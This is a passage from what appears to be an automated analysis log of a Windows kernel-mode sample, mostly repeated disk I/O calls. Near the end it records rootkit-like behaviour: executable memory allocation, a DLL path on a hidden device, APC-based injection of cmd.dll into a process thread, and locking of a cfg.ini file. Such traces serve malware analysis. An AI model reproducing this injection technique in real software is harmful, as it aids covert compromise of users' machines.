MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.777] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.777] IdePortDispatch () returned 0x103 [0099.778] KeWaitForMutexObject () returned 0x0 [0099.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.778] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.778] IdePortDispatch () returned 0x103 [0099.778] KeWaitForMutexObject () returned 0x0 [0099.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.778] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.778] IdePortDispatch () returned 0x103 [0099.778] KeWaitForMutexObject () returned 0x0 [0099.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.778] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.778] IdePortDispatch () returned 0x103 [0099.779] KeWaitForMutexObject () returned 0x0 [0099.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.779] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.779] IdePortDispatch () returned 0x103 [0099.779] KeWaitForMutexObject () returned 0x0 [0099.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.779] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.779] IdePortDispatch () returned 0x103 [0099.779] KeWaitForMutexObject () returned 0x0 [0099.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.779] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.779] IdePortDispatch () returned 0x103 [0099.779] KeWaitForMutexObject () returned 0x0 [0099.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.779] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.779] IdePortDispatch () returned 0x103 [0099.780] KeWaitForMutexObject () returned 0x0 [0099.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.780] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.780] IdePortDispatch () returned 0x103 [0099.780] KeWaitForMutexObject () returned 0x0 [0099.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.780] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.780] IdePortDispatch () returned 0x103 [0099.780] KeWaitForMutexObject () returned 0x0 [0099.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.780] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.780] IdePortDispatch () returned 0x103 [0099.781] KeWaitForMutexObject () returned 0x0 [0099.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.781] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.781] IdePortDispatch () returned 0x103 [0099.781] KeWaitForMutexObject () returned 0x0 [0099.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.781] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.781] IdePortDispatch () returned 0x103 [0099.781] KeWaitForMutexObject () returned 0x0 [0099.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.781] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.781] IdePortDispatch () returned 0x103 [0099.781] KeWaitForMutexObject () returned 0x0 [0099.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.782] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.782] IdePortDispatch () returned 0x103 [0099.782] KeWaitForMutexObject () returned 0x0 [0099.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.782] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.782] IdePortDispatch () returned 0x103 [0099.782] KeWaitForMutexObject () returned 0x0 [0099.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.782] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.782] IdePortDispatch () returned 0x103 [0099.782] KeWaitForMutexObject () returned 0x0 [0099.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.782] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.782] IdePortDispatch () returned 0x103 [0099.783] KeWaitForMutexObject () returned 0x0 [0099.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.783] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.783] IdePortDispatch () returned 0x103 [0099.783] KeWaitForMutexObject () returned 0x0 [0099.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.783] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.783] IdePortDispatch () returned 0x103 [0099.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.783] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.783] IdePortDispatch () returned 0x103 [0099.783] KeWaitForMutexObject () returned 0x0 [0099.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.784] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.784] IdePortDispatch () returned 0x103 [0099.784] KeWaitForMutexObject () returned 0x0 [0099.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.784] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.784] IdePortDispatch () returned 0x103 [0099.784] KeWaitForMutexObject () returned 0x0 [0099.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.784] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.784] IdePortDispatch () returned 0x103 [0099.784] KeWaitForMutexObject () returned 0x0 [0099.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.784] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.784] IdePortDispatch () returned 0x103 [0099.785] KeWaitForMutexObject () returned 0x0 [0099.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.785] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.785] IdePortDispatch () returned 0x103 [0099.785] KeWaitForMutexObject () returned 0x0 [0099.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.785] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.785] IdePortDispatch () returned 0x103 [0099.785] KeWaitForMutexObject () returned 0x0 [0099.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.785] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.785] IdePortDispatch () returned 0x103 [0099.786] KeWaitForMutexObject () returned 0x0 [0099.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.786] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.786] IdePortDispatch () returned 0x103 [0099.786] KeWaitForMutexObject () returned 0x0 [0099.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.786] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.786] IdePortDispatch () returned 0x103 [0099.786] KeWaitForMutexObject () returned 0x0 [0099.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.786] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.786] IdePortDispatch () returned 0x103 [0099.786] KeWaitForMutexObject () returned 0x0 [0099.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.786] KeInitializeEvent (in: Event=0xfffff88002f8f230, Type=0x0, State=0 | out: Event=0xfffff88002f8f230) [0099.786] IdePortDispatch () returned 0x103 [0099.787] KeWaitForMutexObject () returned 0x0 [0099.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.787] KeLeaveCriticalRegion () [0099.787] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.787] RtlImageNtHeader (BaseAddress=0x10000) returned 0x100f8 [0099.787] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f8fad8 | out: Size=0xfffff88002f8fad8) returned 0x2f2ec [0099.787] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004f8, BaseAddress=0xfffff88002f8fae8, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae8*=0x30000, RegionSize=0xfffff88002f8f9f8*=0x1000) returned 0x0 [0099.787] _snprintf (in: _Dest=0x30010, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd.dll") returned 47 [0099.787] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80034e8e40 [0099.787] PsWrapApcWow64Thread (in: ApcContext=0xfffff88002f8fad8*=0x30000, ApcRoutine=0xfffff88002f8f9d8*=0x30114 | out: ApcContext=0xfffff88002f8fad8*=0x30000, ApcRoutine=0xfffff88002f8f9d8*=0xfffffffffff3fbb0) returned 0x0 [0099.787] KeInitializeApc (Apc=0xfffffa80034e8e40, Thread=0xfffffa80033ffb60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0xfffffffffff3fbb0, Mode=0xfffff88000000001, Context=0x30000) [0099.787] KeInsertQueueApc (Apc=0xfffffa80034e8e40, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0099.787] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7efa0000) returned 0x0 [0099.787] ZwClose (Handle=0x24) returned 0x0 [0099.787] ZwClose (Handle=0xffffffff8000052c) returned 0x0 [0099.787] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0099.787] KeEnterCriticalRegion () [0099.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.787] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa80018ab040 [0099.787] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa800392c2d0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0099.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.787] KeLeaveCriticalRegion () [0099.787] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.787] KeUnstackDetachProcess (ApcState=0xfffff88002f8fa58) [0099.787] PsGetProcessImageFileName () returned 0xfffffa8003923910 [0099.788] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0099.788] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff8000052c, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0099.788] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0099.788] KeEnterCriticalRegion () [0099.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.788] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0099.788] IdePortDispatch () returned 0x103 [0099.788] KeWaitForMutexObject () returned 0x0 [0099.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0099.788] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0099.788] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0099.788] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0099.788] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0099.788] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037bc090 [0099.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.788] KeLeaveCriticalRegion () [0099.788] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.788] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0099.788] NtLockFile (in: FileHandle=0xffffffff8000052c, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0099.788] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0099.788] KeEnterCriticalRegion () [0099.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.788] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0099.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.788] 